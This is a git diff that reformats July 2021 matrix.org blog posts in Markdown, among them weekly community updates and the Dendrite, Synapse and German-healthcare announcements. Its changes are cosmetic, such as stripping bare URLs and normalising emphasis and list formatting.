thoughts_ on why that's a good idea, what the consequences might be, and where we go from here. Find it at https://ansible.github.io/community/posts/matrix_and_ansible.html +> I'm the Principal Data Scientist for the Ansible Community. We're hoping to switch to Matrix as our primary platform in the near future, and I've just written up *my thoughts* on why that's a good idea, what the consequences might be, and where we go from here. Find it at ## Dept of Spec 📜 @@ -28,7 +28,7 @@ image = "https://matrix.org/blog/img/2021-07-09-ADEDa-stacked_area_chart.png" [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) told us: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > @@ -44,15 +44,16 @@ image = "https://matrix.org/blog/img/2021-07-09-ADEDa-stacked_area_chart.png" > > **MSCs with proposed Final Comment Period:** > -> * _No MSCs entered proposed FCP state this week._ +> * *No MSCs entered proposed FCP state this week.* > > **MSCs in Final Comment Period:** > -> * _No MSCs are in FCP._ +> * *No MSCs are in FCP.* > > **Merged MSCs:** > -> * _No MSCs were merged this week._ +> * *No MSCs were merged this week.* +> > #### Spec Updates > > A [concrete plan](https://github.com/matrix-org/matrix-doc/issues/3095) has been drafted for publishing the new spec release, and is currently undergoing execution. This release will include many changes that have built up since the last release (back before the new spec redesign even), as well as the new [Matrix Global Version Number scheme](https://github.com/matrix-org/matrix-doc/pull/2844). Look forward to it dropping soon! @@ -61,15 +62,13 @@ image = "https://matrix.org/blog/img/2021-07-09-ADEDa-stacked_area_chart.png" > > As well as lots of new MSCs as listed above. Busy times! - - ![2021-07-09-ADEDa-stacked_area_chart.png](/blog/img/2021-07-09-ADEDa-stacked_area_chart.png) ## Dept of Servers 🏢 ### Conduit -Conduit is a Matrix homeserver written in Rust https://conduit.rs +Conduit is a Matrix homeserver written in Rust [timokoesters](https://matrix.to/#/@timokoesters:fachschaften.org) said: @@ -118,11 +117,11 @@ Synapse is a popular homeserver written in Python. > > This week was spent on adding proper support for LINE user joins/leaves (though invites/kicks are still a TODO), bug fixes, and ease of deployment. Docker and systemd setups will be ready shortly. > -> And this bridge should soon be listed on https://matrix.org/bridges/, if it isn't already 🙂 Thanks madlittlemods (Eric Eastwood) for accepting [the PR](https://github.com/matrix-org/matrix.org/pull/1019)! +> And this bridge should soon be listed on , if it isn't already 🙂 Thanks madlittlemods (Eric Eastwood) for accepting [the PR](https://github.com/matrix-org/matrix.org/pull/1019)! > > Discussion: [#matrix-puppeteer-line:miscworks.net](https://matrix.to/#/#matrix-puppeteer-line:miscworks.net) > -> Issue page: https://src.miscworks.net/fair/matrix-puppeteer-line/issues +> Issue page: ## Dept of Clients 📱 @@ -130,35 +129,31 @@ Synapse is a popular homeserver written in Python. Updates provided by the teams! + **Delight team** - - * Spaces: * iOS development is progressing, some (dev) can see spaces in the left panel * Wrapping up work on new settings for restricted rooms, and UI to promote the feature to space admins * Maintenance and bug fixing. + **VoIP** - - * Improvements to in-call designs on Android * Dial pad improvements about to land on web + **Web** - - * Working on performance testing on large accounts to catch slowdowns and generally improve app performance * More under-the-hood TypeScript conversion * Message bubbles experiment almost ready to land! * Working on universal macOS builds for the desktop app + **Android** - - * Element Android 1.1.12 is now live on the PlayStore, will be available on F-Droid soon * We are polishing the voice message feature * Also we are progressing well on the RustSDK integration @@ -193,8 +188,6 @@ Updates provided by the teams! > > We also fixed an issue with updating device lists in the develop version of Nheko. If you were using the nightlies, now is a good time to update! In more E2EE news, [symmetric megolm backup](https://github.com/matrix-org/matrix-doc/pull/3270) fixes the issues I had with the online key backup, so looking forward to implementing that. - - ![2021-07-09-dl7gn-clipboard.png](/blog/img/2021-07-09-dl7gn-clipboard.png) ## Dept of SDKs and Frameworks 🧰 @@ -227,7 +220,7 @@ Updates provided by the teams! > Thanks to Gwmngilfen I touched RStudio and toyed a little with some data as well. > -> You can find some graphs over at https://github.com/MTRNord/server_stats_r_statistics/blob/main/scripts/rooms_members.md +> You can find some graphs over at > > For the first graph the credit fully goes to Gwmngilfen :) > @@ -245,7 +238,7 @@ Updates provided by the teams! > > This is a guide for isolating and running your Matrix bot within a Docker container. It is also applicable to bots written using other libraries and languages. > -> https://simple-matrix-bot-lib.readthedocs.io/en/latest/usage-with-docker.html +> ## New Public Rooms 🏟️ @@ -259,9 +252,9 @@ Updates provided by the teams! > > ---- > -> This week's space is: [#mathematics-on:matrix.org](https://matrix.to/#/#mathematics-on:matrix.org) +> This week's space is: [#mathematics-on:matrix.org](https://matrix.to/#/#mathematics-on:matrix.org) > -> Biggest room: [#mathematicsq&a:matrix.org](https://matrix.to/#/#mathematicsq&a:matrix.org) +> Biggest room: [#mathematicsq&a:matrix.org](https://matrix.to/#/#mathematicsq&a:matrix.org) > > **"For questions about any part of maths!"** > @@ -280,6 +273,7 @@ In meta twim news, the twim updates bot (which posts in [#twim_updates:cadair.co Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -296,6 +290,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|nordgedanken.dev|872| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/07/2021-07-12-dendrite-0-4-0-released.md b/content/blog/2021/07/2021-07-12-dendrite-0-4-0-released.md index 5145be594..176777f0d 100644 --- a/content/blog/2021/07/2021-07-12-dendrite-0-4-0-released.md +++ b/content/blog/2021/07/2021-07-12-dendrite-0-4-0-released.md @@ -17,11 +17,11 @@ Recently our release cadence for Dendrite has slowed as we have spent more time One of the major features in v0.4.0 is that we've introduced newly-refactored state storage in the roomserver database. The goal here is to make state storage significantly more efficient by ensuring that we deduplicate state blocks and snapshots wherever we can. By ensuring that all state blocks and snapshots are ordered strictly, and by enforcing uniqueness constraints on the hashes of the blocks/snapshots, we've been able to achieve this. -This was largely spurred on by watching `dendrite.matrix.org` consuming a rather alarming amount of disk space on a daily basis. In this particular instance, moving to the new state storage resulted in a 15x improvement on disk utilisation for state blocks and a further 2x improvement for state snapshot references immediately after the migration, and the growth rate of the database has slowed substantially since. +This was largely spurred on by watching `dendrite.matrix.org` consuming a rather alarming amount of disk space on a daily basis. In this particular instance, moving to the new state storage resulted in a 15x improvement on disk utilisation for state blocks and a further 2x improvement for state snapshot references immediately after the migration, and the growth rate of the database has slowed substantially since. Ensuring that we don't waste disk space is one of the most important factors in ensuring that Dendrite operates well at any scale — future datacentre deployments supporting many users will find storage overheads decreased and small/embedded single-user deployments (such as P2P, on mobile devices or in the browser) will fit much more effectively onto resource-constrained targets. -After upgrading to v0.4.0, Dendrite will run an automatic migration to update your homeserver to the new state storage format. This might take a while on larger databases so please expect some downtime. +After upgrading to v0.4.0, Dendrite will run an automatic migration to update your homeserver to the new state storage format. This might take a while on larger databases so please expect some downtime. ### Optimisations @@ -29,7 +29,7 @@ We've continued to squeeze further optimisations into the federation and state r The bulk of this resource usage comes either from attempting to reconcile missing events or running state resolution in rooms with lots of members, as potentially large state sets of events need to be brought into memory in order to do so. We've introduced some transaction-level caches for dealing with missing auth/prev events to reduce the memory pressure and we've also tweaked the caching around around `/get_missing_events` to ensure we don't duplicate any state events in memory. -Resource spikes aren't completely eliminated but this should smooth out CPU and memory utilisation significantly. In the case of `dendrite.matrix.org`, which is joined to some 6500 rooms at present, memory utilisation of the Dendrite process typically sits around 1.5GB at present. +Resource spikes aren't completely eliminated but this should smooth out CPU and memory utilisation significantly. In the case of `dendrite.matrix.org`, which is joined to some 6500 rooms at present, memory utilisation of the Dendrite process typically sits around 1.5GB at present. State Resolution v2 has also seen further optimisations in the power-level checking, which should reduce CPU usage even more. @@ -43,7 +43,7 @@ We've done quite a bit of preliminary testing with [matrix-appservice-irc](https A number of bugs in various places (including the roomserver, federation API and media API) which could cause Dendrite to crash have also been fixed. Some of these have been contributed by the community in pull requests, so we extend our thanks to anyone who has submitted a fix to the project. -A special mention also goes to Jakob Varmose Bentzen for reporting a security issue to us around the legacy `/v1/register` endpoint, where a flaw in the legacy shared secret registration allowed malicious users to create accounts. We've since removed this legacy endpoint and the vulnerability is now fixed. +A special mention also goes to Jakob Varmose Bentzen for reporting a security issue to us around the legacy `/v1/register` endpoint, where a flaw in the legacy shared secret registration allowed malicious users to create accounts. We've since removed this legacy endpoint and the vulnerability is now fixed. ### What's next diff --git a/content/blog/2021/07/2021-07-13-synapse-1-38-0-released.md b/content/blog/2021/07/2021-07-13-synapse-1-38-0-released.md index bc18d3832..f1643941c 100644 --- a/content/blog/2021/07/2021-07-13-synapse-1-38-0-released.md +++ b/content/blog/2021/07/2021-07-13-synapse-1-38-0-released.md @@ -15,7 +15,7 @@ Synapse 1.38.0 is out now! Synapse's database schema used `integer` columns in a few places where values could potentially overflow a maximum value of 231. One such column is `events.stream_ordering`, which surpassed 231 on matrix.org last week. -To prevent overflows, Synapse 1.38 will automatically convert several `integer` columns to `bigint` as a background update. While homeservers will function normally during this task, it could result in increased disk I/O for several hours or days. Note that **homeservers may need several gigabytes of free space** to successfully rebuild associated database indexes and complete the upgrade. +To prevent overflows, Synapse 1.38 will automatically convert several `integer` columns to `bigint` as a background update. While homeservers will function normally during this task, it could result in increased disk I/O for several hours or days. Note that __homeservers may need several gigabytes of free space__ to successfully rebuild associated database indexes and complete the upgrade. See the [upgrade notes](https://matrix-org.github.io/synapse/v1.38/upgrade.html#upgrading-to-v1380) for more details. @@ -39,4 +39,3 @@ A few other items worth calling out: These are just the highlights; please see the [Upgrade Notes](https://matrix-org.github.io/synapse/v1.38/upgrade.html#upgrading-to-v1380) and [Release Notes](https://github.com/matrix-org/synapse/blob/v1.38.0/CHANGES.md) for a complete list of changes in this release. Synapse is a Free and Open Source Software project, and we'd like to extend our thanks to everyone who contributed to this release, including [deepbluev7](https://github.com/deepbluev7), [dklimpel](https://github.com/dklimpel), [fkr](https://github.com/fkr), and [sideshowbarker](https://github.com/sideshowbarker) - diff --git a/content/blog/2021/07/2021-07-16-this-week-in-matrix-2021-07-16.md b/content/blog/2021/07/2021-07-16-this-week-in-matrix-2021-07-16.md index 0aa579b45..38ad9d231 100644 --- a/content/blog/2021/07/2021-07-16-this-week-in-matrix-2021-07-16.md +++ b/content/blog/2021/07/2021-07-16-this-week-in-matrix-2021-07-16.md @@ -20,7 +20,7 @@ image = "https://matrix.org/blog/img/2021-07-16-ml.png" [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) announced: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > @@ -49,15 +49,13 @@ image = "https://matrix.org/blog/img/2021-07-16-ml.png" > > Thanks to everyone who submitted, read and reviewed MSCs this week. It takes people to move this stuff forward! - - ![2021-07-16-9h_yU-stacked_area_chart.png](/blog/img/2021-07-16-9h_yU-stacked_area_chart.png) ## Dept of GSoC 🎓️ -### Google Summer of Code 2021: first evaluations complete! +### Google Summer of Code 2021: first evaluations complete -We heard from Callum last week, and will have more reports in future, but for now just know that all *seven* GSoC projects are progressing well. To remind yourself of this year's projects, see the list [provided by Google](https://summerofcode.withgoogle.com/organizations/6691635666092032/) or [our welcome blog post](https://matrix.org/blog/2021/05/20/google-summer-of-code-2021). +We heard from Callum last week, and will have more reports in future, but for now just know that all _seven_ GSoC projects are progressing well. To remind yourself of this year's projects, see the list [provided by Google](https://summerofcode.withgoogle.com/organizations/6691635666092032/) or [our welcome blog post](https://matrix.org/blog/2021/05/20/google-summer-of-code-2021). [Alexandre Franke](https://matrix.to/#/@afranke:matrix.org) added: @@ -116,14 +114,13 @@ Dendrite is a next-generation homeserver written in Go ![2021-07-16-3j8uF-synapse-1.38-cache-expiry.png](/blog/img/2021-07-16-3j8uF-synapse-1.38-cache-expiry.png) - > We'd encourage you to read the [full announcement](https://matrix.org/blog/2021/07/13/synapse-1-38-0-released) for more — See you next week 👋! #### Registration management for Token Authenticated Registration [callum](https://matrix.to/#/@callum:calcuode.com) told us: -> Another short update about my GSoC project, this time about the Synapse admin API for managing tokens. https://calcuode.com/matrix-gsoc/2021-07-16_admin-api.html +> Another short update about my GSoC project, this time about the Synapse admin API for managing tokens. See also Matrix Live with Callum last week. @@ -151,11 +148,11 @@ See also Matrix Live with Callum last week. > > What I'm working on next is a bot command to list all of your LINE contacts & groups (similar to [mautrix-whatsapp](https://github.com/tulir/mautrix-whatsapp)'s `list `), and the ability to sync a LINE DM by inviting a contact to a Matrix DM. This will allow messaging LINE contacts that the bridge didn't yet create a portal for. > -> And please, *feel free to try out this bridge!* It should be serviceable for day-to-day usage now. I still won't be able to host a public instance of it for a while, though (as it is fairly hefty due to having to run Chrome), so you'll have to self-host if you want to try it. +> And please, _feel free to try out this bridge!_ It should be serviceable for day-to-day usage now. I still won't be able to host a public instance of it for a while, though (as it is fairly hefty due to having to run Chrome), so you'll have to self-host if you want to try it. > -> Discussion: [#matrix-puppeteer-line:miscworks.net](https://matrix.to/#/#matrix-puppeteer-line:miscworks.net) +> Discussion: [#matrix-puppeteer-line:miscworks.net](https://matrix.to/#/#matrix-puppeteer-line:miscworks.net) > -> Issue page: https://src.miscworks.net/fair/matrix-puppeteer-line/issues +> Issue page: ## Dept of Clients 📱 @@ -187,31 +184,28 @@ See also Matrix Live with Callum last week. With updates supplied by the teams + **Delight team** - - * We’ve been shepherding through MSCs to improve private spaces, namely [MSC3083](https://github.com/matrix-org/matrix-doc/pull/3083) (Restricting room membership based on space membership) * Meanwhile, we’re also implementing outstanding polish, planning steps for Spaces to exit beta + **Web** - - * v1.7.33-rc.1 now up for testing on [https://staging.element.io/](https://staging.element.io/) with support for blurhash, draggable picture-in-picture view for calls * Contributing to element web? There are new labels and magic keywords for pull requests to show better information in the changelogs. See the [contributor guide](https://github.com/matrix-org/matrix-js-sdk/blob/develop/CONTRIBUTING.md) for more detail. * Do you use the _master_ branch of element web or any of the web projects? Please let us know - it may go away soon. + **Android** - - * Still polishing the voice message feature: add support for Android 5, improve timeline rendering, improve animation in the composer, support for RTL language * Work on the account notification settings ### Hydrogen -A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. https://github.com/vector-im/hydrogen-web/ +A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. [Bruno](https://matrix.to/#/@bwindels:matrix.org) said: @@ -243,7 +237,7 @@ A minimal Matrix chat client, focused on performance, offline functionality, and > > During the camp, verifying crypto sessions using emojis again made for a good party game to get to know each other (like, find the kid a nickname belongs to on the camp site, start verification, and compare emojis – a lot of fun that we, again, did not even have to start, because someone always finds out about it and asks what it is about). > -> Now that everyone got to know Matrix for chatting, in one of our workshops, the participants discovered that not only people, but also devices can send messages, and react to replies – in that workshop, the kids built a chat-ops IoT door beel (for their tent on site, or room at home). They soldered a circuit board to fit an ESP (MicroPython) micro controller on, and coded a small program (using templates with differing complexity levels), defining what the door bell should send when a button is pressed, on what messages to react, and the like. We produced a fun video about the project (German audio, English subtitles): https://eduvid.org/videos/watch/20a50c25-ecb4-48c0-9b13-de2548f290d4?subtitle=en . The (minimal and somewhat buggy) MicroPython client library is published as [µtrix](https://edugit.org/hacknfun/thema-mechatronik/mytrix). +> Now that everyone got to know Matrix for chatting, in one of our workshops, the participants discovered that not only people, but also devices can send messages, and react to replies – in that workshop, the kids built a chat-ops IoT door beel (for their tent on site, or room at home). They soldered a circuit board to fit an ESP (MicroPython) micro controller on, and coded a small program (using templates with differing complexity levels), defining what the door bell should send when a button is pressed, on what messages to react, and the like. We produced a fun video about the project (German audio, English subtitles): . The (minimal and somewhat buggy) MicroPython client library is published as [µtrix](https://edugit.org/hacknfun/thema-mechatronik/mytrix). > > Now, sadly, the event is over, and we slowly see (as expected, only a part of the) participants moving over to our long-term project chatrooms; we will start clearing the virtual camp site chatroom during the weekend to make room for a new group. @@ -261,7 +255,7 @@ Asked about the regularity of these events, [Nik](https://matrix.to/#/@nik:matri > [Cactus Comments](https://cactus.chat) is a federated comment system for the open web built on Matrix. > -> This week, I'm reporting the changes to our backend service since it last appeared on +> This week, I'm reporting the changes to our backend service since it last appeared on > > * Feature: Restrict which users can interact with cactusbot (contributed by Karmanyaah Malhotra in MR !3). > @@ -277,13 +271,13 @@ Asked about the regularity of these events, [Nik](https://matrix.to/#/@nik:matri > All these changes are available from version 0.5.0. > > -> Demo: https://cactus.chat/demo +> Demo: > > Matrix room: [#cactus:cactus.chat](https://matrix.to/#/#cactus:cactus.chat) > -> Introductory blog post: https://cactus.chat/blog/hello-cactus-comments/ +> Introductory blog post: > -> Source code: https://gitlab.com/cactus-comments +> Source code: ## Dept of Guides 🧭 @@ -324,6 +318,7 @@ Strong words! You can find [the guide from Reidel on their website](https://www. Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -340,6 +335,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|nordgedanken.dev|1106| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/07/2021-07-21-germany-s-national-healthcare-system-adopts-matrix.md b/content/blog/2021/07/2021-07-21-germany-s-national-healthcare-system-adopts-matrix.md index bd9bf7c44..cc652a3a5 100644 --- a/content/blog/2021/07/2021-07-21-germany-s-national-healthcare-system-adopts-matrix.md +++ b/content/blog/2021/07/2021-07-21-germany-s-national-healthcare-system-adopts-matrix.md @@ -48,7 +48,7 @@ the entire implementation will be [accredited by BSI](https://www.bsi.bund.de/EN (Federal Office for Information Security) and [BfDI](https://www.bfdi.bund.de/DE/Home/home_node.html) (Federal Commissioner for Data Protection and Freedom of Information). -## The full context... +## The full context Germany’s digital care modernisation law (“Digitale Versorgung und Pflege Modernisierungs Gesetz” or DVPMG), which came into force in June 2021, spells @@ -89,10 +89,10 @@ compliant apps for HCPs are expected to be licensed by Q2 2022. Eric Grey (product manager for TI-Messenger at gematik), reckons there will initially be around 10-15 TI-Messenger compliant Matrix-based apps for HCP -communications available from different vendors. +communications available from different vendors. Healthcare professionals will be able to choose a TI-Messenger provider, who -will be hosting their personal accounts and provide the messenger-client. +will be hosting their personal accounts and provide the messenger-client. Healthcare organisations will choose a TI-Messenger provider to build the dedicated homeserver infrastructure (on prem or in a data center), provide @@ -102,7 +102,7 @@ the client and ongoing support. Matrix is already integral to huge parts of the public sector; from the French government’s Tchap platform, to Bundeswehr’s use of BwMessenger and adoption -by universities and schools across Europe. +by universities and schools across Europe. Germany’s healthcare system standardising on Matrix takes this to entirely the next level - and we can’t wait to see the rest of Europe (and the world!) diff --git a/content/blog/2021/07/2021-07-23-this-week-in-matrix-2021-07-23.md b/content/blog/2021/07/2021-07-23-this-week-in-matrix-2021-07-23.md index 677c408f6..5cec9682e 100644 --- a/content/blog/2021/07/2021-07-23-this-week-in-matrix-2021-07-23.md +++ b/content/blog/2021/07/2021-07-23-this-week-in-matrix-2021-07-23.md @@ -20,19 +20,19 @@ Loads of coverage is available, take a look! English -- https://www.zdnet.com/article/germanys-healthcare-system-is-using-this-open-source-standard-for-encrypted-instant-messaging/ -- https://thestack.technology/matrix-germany-healthcare/ - - see also https://thestack.technology/element-messenger-matrix-protocol-one-to-watch/ +- +- + - see also Dutch -- https://tweakers.net/nieuws/184736/duitse-gezondheidsinstellingen-gaan-onderling-communiceren-via-matrix-protocol.html +- German -- https://www.heise.de/news/Matrix-Messenger-fuers-deutsche-Gesundheitswesen-6144988.html -- https://www.golem.de/news/videochat-deutsche-gesundheits-it-wechselt-auf-matrix-2107-158334.html -- https://stadt-bremerhaven.de/gematik-ti-messenger-setzt-auf-das-matrix-protokoll-als-basis/ +- +- +- ## Dept of Spec 📜 @@ -40,30 +40,30 @@ German [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) offered: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > > #### MSC Status > > **Merged MSCs:** > -> * *No MSCs were merged this week.* +> - *No MSCs were merged this week.* > > **MSCs in Final Comment Period:** > -> * [MSC3083: Restricting room membership based on membership in other rooms](https://github.com/matrix-org/matrix-doc/pull/3083) (merge) +> - [MSC3083: Restricting room membership based on membership in other rooms](https://github.com/matrix-org/matrix-doc/pull/3083) (merge) > > **New MSCs:** > -> * [MSC3291: Muting in VoIP calls](https://github.com/matrix-org/matrix-doc/pull/3291) -> * [MSC3289: Room version 8](https://github.com/matrix-org/matrix-doc/pull/3289) +> - [MSC3291: Muting in VoIP calls](https://github.com/matrix-org/matrix-doc/pull/3291) +> - [MSC3289: Room version 8](https://github.com/matrix-org/matrix-doc/pull/3289) > -> * [MSC3288: Add room type in store invite](https://github.com/matrix-org/matrix-doc/pull/3288) -> * [MSC3286: Media spoilers](https://github.com/matrix-org/matrix-doc/pull/3286) +> - [MSC3288: Add room type in store invite](https://github.com/matrix-org/matrix-doc/pull/3288) +> - [MSC3286: Media spoilers](https://github.com/matrix-org/matrix-doc/pull/3286) > > #### Spec Core Team > -> In terms of Spec Core Team MSC focus for this week, +> In terms of Spec Core Team MSC focus for this week, > > #### Spec Updates > @@ -71,12 +71,11 @@ German ![2021-07-23-kziJ3-stacked_area_chart.png](/blog/img/2021-07-23-kziJ3-stacked_area_chart.png) - [sorunome](https://matrix.to/#/@sorunome:sorunome.de) has been working on MSC2545: > Sorus [Image Packs MSC2545](https://github.com/matrix-org/matrix-doc/pull/2545) is taking shape more and more! While barely anything happened on the actual MSC itself, [nheko](https://github.com/Nheko-Reborn/nheko/pull/648) recently implemented a sticker picker based on it, and there is a PR for [fluffychat](https://gitlab.com/famedly/fluffychat/-/merge_requests/452) for a sticker picker, too, finally making stickers interoperable between clients of different vendors! > -> Here's a video of fluffychats sticker picker in action: https://gitlab.com/famedly/fluffychat/uploads/26382317e2424d7566eb18e102ddd6cb/fluffy-sticker-picker.webm +> Here's a video of fluffychats sticker picker in action: ## Dept of Servers 🏢 @@ -110,12 +109,12 @@ German > > This week brings plenty of usability improvements: > -> * There is now the `list-contacts` bot command to--you guessed it!--list the Matrix puppets of all of your contacts. +> - There is now the `list-contacts` bot command to--you guessed it!--list the Matrix puppets of all of your contacts. > -> * It's now possible to sync a chat with a LINE user by inviting their Matrix puppet to a DM, instead of having to wait for someone to send you a message in LINE for the bridge to auto-sync it. This is especially useful with `list-contacts`. -> * LINE group chats that haven't been used recently are now included in the set of chats that get bridged on a `sync` operation. +> - It's now possible to sync a chat with a LINE user by inviting their Matrix puppet to a DM, instead of having to wait for someone to send you a message in LINE for the bridge to auto-sync it. This is especially useful with `list-contacts`. +> - LINE group chats that haven't been used recently are now included in the set of chats that get bridged on a `sync` operation. > -> * The number of chats to sync at startup time & on-demand is now configurable, as a bridge config setting & a parameter to the `sync` command, respectively. +> - The number of chats to sync at startup time & on-demand is now configurable, as a bridge config setting & a parameter to the `sync` command, respectively. > > These changes make it possible to sync LINE chats/groups that previously may not have gotten synced, due to the intricacies of how LINE on Chrome handles chat history (especially on first use of the bridge). > @@ -123,7 +122,7 @@ German > > Discussion: [#matrix-puppeteer-line:miscworks.net](https://matrix.to/#/#matrix-puppeteer-line:miscworks.net) > -> Issue page: https://src.miscworks.net/fair/matrix-puppeteer-line/issues +> Issue page: ## Dept of Clients 📱 @@ -143,7 +142,6 @@ German > > That's all, don't get your hands too sticky! - ![2021-07-23-gg3Eo-clipboard.png](/blog/img/2021-07-23-gg3Eo-clipboard.png) ![2021-07-23-xHW8i-clipboard.png](/blog/img/2021-07-23-xHW8i-clipboard.png) @@ -158,38 +156,48 @@ German > > Giuseppe offered two nice additions to the login view: > -> * in the form, [one can now type enter to login](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/783) (it previously required to click on the button in the headerbar) +> - in the form, [one can now type enter to login](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/783) (it previously required to click on the button in the headerbar) > -> * [errors are now displayed](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/791), providing useful feedback on why the login may have failed. +> - [errors are now displayed](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/791), providing useful feedback on why the login may have failed. > > And to conclude this summary, we welcome 🎉 newcomer Veli Tasalı who fixed [a papercut I reported](https://gitlab.gnome.org/GNOME/fractal/-/issues/802): [when typing long messages, buttons next to the message entry were expanding along with the entry and now they keep nicely aligned](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/787). ### Element Clients + **Delight team** + - We’ve been shepherding [MSC3083](https://github.com/matrix-org/matrix-doc/pull/3083) into FCP to improve private spaces - We’ve also been working on restricted room support in Synapse and Element Web & Android - We’ve been improving onboarding experiences for Spaces, improving 3pid invites on Android, improving email invites and making matrix.to aware of spaces - On iOS, we’ve finished the first implementation of Space navigation which we can share soon! - We’re also figuring out what’s missing to mature Spaces enough to exit beta + **VoIP** + - Call event tiles for 1:1 calls merged, for better summaries of call history. - 1:1 screen sharing ready to merge! - Looking at bug where jitsi calls stay always-on-screen even when hung up. + **Web** + - Released v1.7.33 - Message bubbles PR merged! - Updated desktop to electron 13, complete with new n-api build of seshat (thanks, Poljar!) - More work on changelog tooling + **iOS** + - We cancelled the release of 1.4.6 because of the discovery of high profile bugs or crashes . We will release 1.4.7 on the App Store on Monday. Those releases contain mainly bug fixes and papercuts - Voice messages are almost there. They are on develop under a LABS settings. They should be part of the next release candidate next Wednesday. - There are several papercuts in progress: URL preview, decryption of notifications content by default, removal of local contacts from the DM room list tab, removal of the room directory from the group room list, etc to list the major ones. + **Android** + - Release 1.1.14 which fixes an important issue regarding message decryption is live on the PlayStore, on the beta channel, and will be in production quite soon. A patch has been applied to matrix.org to fix the problem. - Beside that, we are still polishing the spaces and voice messages @@ -199,7 +207,7 @@ German ![2021-07-23-XEixh-120305328-e7a0e700-c2d0-11eb-9bc0-a93f4366b848.png](/blog/img/2021-07-23-XEixh-120305328-e7a0e700-c2d0-11eb-9bc0-a93f4366b848.png) -Naturally the screen sharing feature will allow you to share your own screen, rather than Šimon's! +Naturally the screen sharing feature will allow you to share your own screen, rather than Šimon's! ### Beeper update @@ -207,14 +215,14 @@ Naturally the screen sharing feature will allow you to share your own screen, ra > #### Desktop > -> * New keyboard shortcuts: +> - New keyboard shortcuts: > -> * Navigating room list with arrow keys when there's no room open (and esc to close the current room) -> * Global shortcut to open Beeper +> - Navigating room list with arrow keys when there's no room open (and esc to close the current room) +> - Global shortcut to open Beeper > -> * Rooms are opened where you left off (like Telegram, WhatsApp, etc) instead of at the bottom +> - Rooms are opened where you left off (like Telegram, WhatsApp, etc) instead of at the bottom > -> * Updated unread room indicators: a colored circle around the room avatar *(screenshot here)* +> - Updated unread room indicators: a colored circle around the room avatar *(screenshot here)* > > #### Bridges > @@ -228,9 +236,7 @@ Naturally the screen sharing feature will allow you to share your own screen, ra > > Related to the SMS bridge, I've made [mautrix-syncproxy](https://github.com/tulir/mautrix-syncproxy), which is a microservice to do the `/sync`ing required for end-to-bridge encryption (to-device events and such) in the cloud and forwarding the data to the normal appservice transaction endpoint. When combined with [mautrix-wsproxy](https://github.com/tulir/mautrix-wsproxy), it allows the SMS bridge to only have a websocket connection, which uses significantly less battery than a HTTP request every 30 seconds. The sync proxy partially implements [MSC3202](https://github.com/matrix-org/matrix-doc/pull/3202) and the to-device part of [MSC2409](https://github.com/matrix-org/matrix-doc/pull/2409) (partially because it only does individual users rather than all appservice-owned users). > -> We're hiring React, iOS, Android and SRE/Devops engineers. If you're interested, check out https://jobs.ashbyhq.com/beeper or DM Eric Migicovsky. - - +> We're hiring React, iOS, Android and SRE/Devops engineers. If you're interested, check out or DM Eric Migicovsky. ![2021-07-23-Nbx_w-image.png](/blog/img/2021-07-23-Nbx_w-image.png) @@ -272,11 +278,8 @@ Love it, though I wish twim-o-matic had more of my attention! Maybe we can retir > > Here is a preview of a print progress notification from something I was printing last night: - - ![2021-07-23-opi2f-IMG_20210723_124408.jpg](/blog/img/2021-07-23-opi2f-IMG_20210723_124408.jpg) - ![2021-07-23-fZf-n-matrix_logo_print_status.png](/blog/img/2021-07-23-fZf-n-matrix_logo_print_status.png) ## Matrix in the News 📰 @@ -327,7 +330,7 @@ Welcome Robert! Can't wait to see progress here. We'll even bring back the Dept > > If you want to suggest a room for this section, tell me in [#roomoftheweek:fachschaften.org](https://matrix.to/#/#roomoftheweek:fachschaften.org) -### Royal Navy using Matrix! +### Royal Navy using Matrix >

